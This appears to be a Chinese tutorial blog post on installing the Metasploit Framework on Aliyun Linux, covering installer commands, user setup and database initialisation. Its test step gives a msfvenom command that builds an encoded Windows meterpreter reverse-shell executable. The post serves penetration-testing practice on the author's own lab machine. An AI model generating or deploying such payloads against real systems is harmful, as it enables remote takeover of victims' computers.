linux系統(tǒng)安裝msf的過(guò)程詳解
還是自己寫(xiě)下安裝過(guò)程吧!
我的服務(wù)器系統(tǒng)是 Aliyun linux
1、下載安裝curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
可能報(bào)錯(cuò):Couldn’t open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit
是因?yàn)榘惭b庫(kù)的問(wèn)題!解決方法:yum install -y epel-release然后再重復(fù)上面那條命令!
2、添加新用戶(hù)運(yùn)行msfadduser msf #添加msf用戶(hù)su msf#切換到msf用戶(hù)cd /opt/metasploit-framework/bin #切換到msf所在的目錄./msfconsole#以后啟動(dòng)msfconsole,都切換到msf用戶(hù)下啟動(dòng),這樣會(huì)同步數(shù)據(jù)庫(kù)。如果使用root用戶(hù)啟動(dòng)的話(huà),不會(huì)同步數(shù)據(jù)庫(kù)!(啟動(dòng)索引已經(jīng)默認(rèn)配好了!)直接 msfconsole 就可以啟動(dòng)了!
#相關(guān)命令[msf@xxxx root]$ msfmsfbinscan msfconsole msfd msfdb msfelfscan msfmachscan msfpescan msfrop msfrpc msfrpcd msfupdate msfvenom#數(shù)據(jù)庫(kù)初始化[msf@xxxx root]$ msfdbCommands: init initialize the component reinit delete and reinitialize the component delete delete and stop the component status check component status start start the component stop stop the component restart restart the component
#測(cè)試:e.g.我的虛擬主機(jī)是 Win2003(目標(biāo)機(jī))msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=msf_ip LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe
注:如果是彈性云服務(wù)器IP,LHOST 要設(shè)置為內(nèi)網(wǎng)分配IP,不能設(shè)公網(wǎng)IP [被這個(gè)坑折騰好久!!!吐血!!!]
ps:linux系統(tǒng)下安裝msf框架
命令:
wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.runchmod 755 metasploit-latest-linux-installer.run./metasploit-latest-linux-installer.run
等待運(yùn)行結(jié)束即可。關(guān)鍵地方按回車(chē)和Y即可。
總結(jié)
到此這篇關(guān)于linux系統(tǒng)安裝msf的過(guò)程詳解的文章就介紹到這了,更多相關(guān)linux系統(tǒng)安裝msf內(nèi)容請(qǐng)搜索好吧啦網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持好吧啦網(wǎng)!
相關(guān)文章:
1. 注冊(cè)表命令大全 腳本之家特制版2. Fedora怎么設(shè)置圖標(biāo)主題? Linux系統(tǒng)圖標(biāo)主題的設(shè)置方法3. Win7系統(tǒng)注冊(cè)dll時(shí)沒(méi)有權(quán)限如何處理?4. Win10電腦磁盤(pán)占用率太高怎么解決?5. 淺談Solaris技術(shù)6. 微軟 Win11 首個(gè) Canary 預(yù)覽版 25314 推送 附更新內(nèi)容和升級(jí)方法7. WinXP無(wú)法定位序數(shù)459于動(dòng)態(tài)鏈接庫(kù)的解決方法8. Windows10如何備份和恢復(fù)本地組策略設(shè)置?9. Win10家庭版遠(yuǎn)程連接不上 Win10家庭版無(wú)法被遠(yuǎn)程連接解決方法10. Windows10怎么開(kāi)啟系統(tǒng)開(kāi)機(jī)音樂(lè)?
